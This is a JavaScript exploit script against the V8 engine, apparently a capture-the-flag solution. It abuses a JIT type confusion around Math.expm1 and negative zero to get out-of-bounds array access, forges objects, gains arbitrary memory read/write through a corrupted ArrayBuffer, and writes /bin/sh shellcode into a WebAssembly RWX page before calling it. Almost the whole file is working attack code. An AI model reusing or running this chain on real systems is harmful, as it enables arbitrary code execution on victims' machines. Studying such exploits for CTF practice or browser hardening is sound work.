var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
    f64[0] = v;
    return u32;
}
function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}
function hex(lo, hi){
    return "0x" + hi.toString(16) + lo.toString(16);
}
// shellcode /bin/sh
var shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x50f3b]
// job [DataView Map Address]
// Fake DataView map + Fake ArrayBuffer
var fake_map_obj = [
    u2d(0, 0),
    //u2d(0, 0x0d000439),
    u2d(0, 0x19000440),
    u2d(0, 0),
    u2d(0, 0),
    /* Fake ArrayBuffer object */
    u2d(0, 0),
    u2d(0, 0),
    u2d(0, 0),
    u2d(0, 0),
    u2d(0x43434343, 0x44444444),
    u2d(0x43434343, 0x44444444),
    u2d(0, 0),
    u2d(0, 0),
    u2d(0, 0),
    u2d(0, 0),
].slice(0);
var ob = undefined;
var val = undefined;
function foo(x) {
    let a = [0.1, 0.2, 0.3, 0.4];
    let tb = [1.1, 2.2, 3.3];
    let o = {mz: -0};
    let b = Object.is(Math.expm1(x), o.mz);
    a[b * 12] = u2d(0, 0x434343);
    ob = tb;
    return a[b * 100];
}
foo(0);
for(let i = 0; i < 100000; i++){
    foo("0");
}
// make oob buffer
foo(-0);
var victim = [0x13371337, 0xcafe, {}, new Function("eval('')")];
//%DebugPrint(ob);
//%DebugPrint(victim);
// ob[13] == victim[0]
victim[0] = fake_map_obj;
let fake_map_obj_lo = d2u(ob[13])[0];
let fake_map_obj_hi = d2u(ob[13])[1];
fake_map_obj_lo -= 0x70;
console.log("[-] Fake Map Object : " + hex(fake_map_obj_lo, fake_map_obj_hi));
// fake_dv_obj
// I don't use this fake dataview primitive
// Just Overwrite ArrayBuffer's BackingStore
var fake_dv_obj = [
    u2d(fake_map_obj_lo, fake_map_obj_hi),
    u2d(0, 0),
    u2d(0, 0),
    u2d(fake_map_obj_lo + 0x20, fake_map_obj_hi),
    u2d(0, 0),
    //u2d(0, 0x4000),
    u2d(0x4000, 0),
].slice(0);
// leak fake_dv_obj
victim[0] = fake_dv_obj;
let fake_dv_lo = d2u(ob[13])[0];
let fake_dv_hi = d2u(ob[13])[1];
fake_dv_lo -= 0x30;
console.log("[-] Fake DataView : " + hex(fake_dv_lo, fake_dv_hi));
//ob[13] = u2d(fake_dv_lo, fake_dv_hi);
//var dv = victim[0];
var ab = new ArrayBuffer(0x40);
//var dv = new DataView(ab);
/* leak ArrayBuffer */
victim[0] = ab;
let ab_lo = d2u(ob[13])[0];
let ab_hi = d2u(ob[13])[1];
console.log("[-] ArrayBuffer : " + hex(ab_lo, ab_hi));
var index = 0;
for(let i = 0; ; i++){
    if(d2u(ob[i])[0] == 0x40){
        if(d2u(ob[i + 2] == 2)){
            index = i;
            console.log("FIND : " + i);
            break;
        }
    }
}
// How to use WebAssembly?
// Do i need to setup remote Server to get Webassembly Code?
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
victim[0] = f;
let wasm_lo = d2u(ob[13])[0];
let wasm_hi = d2u(ob[13])[1];
console.log("[-] wasm : " + hex(wasm_lo, wasm_hi));
// Need to Leak Binary Base
/* TODO */
// I don't know how to leak Binary base...
// some write-up makes rop chain
// we get Arbitrary Read/Write !
var arraybuffer_length = index;
var backing_store_index = index + 1
// modify arraybuffer length
ob[arraybuffer_length] = u2d(0x4000, 0);
// modify arraybuffer backing store
ob[backing_store_index] = u2d(wasm_lo - 1, wasm_hi);
var dv = new DataView(ab);
rwx_getter_lo = dv.getUint32(0x18, true);
rwx_getter_hi = dv.getUint32(0x18 + 4, true);
console.log("[-] rwx page getter : " + hex(rwx_getter_lo, rwx_getter_hi));
ob[backing_store_index] = u2d(rwx_getter_lo - 1 - 0xc0, rwx_getter_hi);
rwx_page_lo = dv.getUint32(0, true);
rwx_page_hi = dv.getUint32(4, true);
console.log("[-] rwx page : " + hex(rwx_page_lo, rwx_page_hi));
ob[backing_store_index] = u2d(rwx_page_lo, rwx_page_hi);
for(let i = 0; i < (0x1000 / 4); i++){
    dv.setUint32(i * 4, 0x90909090, true);
}
console.log(shellcode.length);
for(let i = 0; i < shellcode.length; i++){
    dv.setUint32(i * 4, shellcode[i], true);
}
console.log(f(1,2));
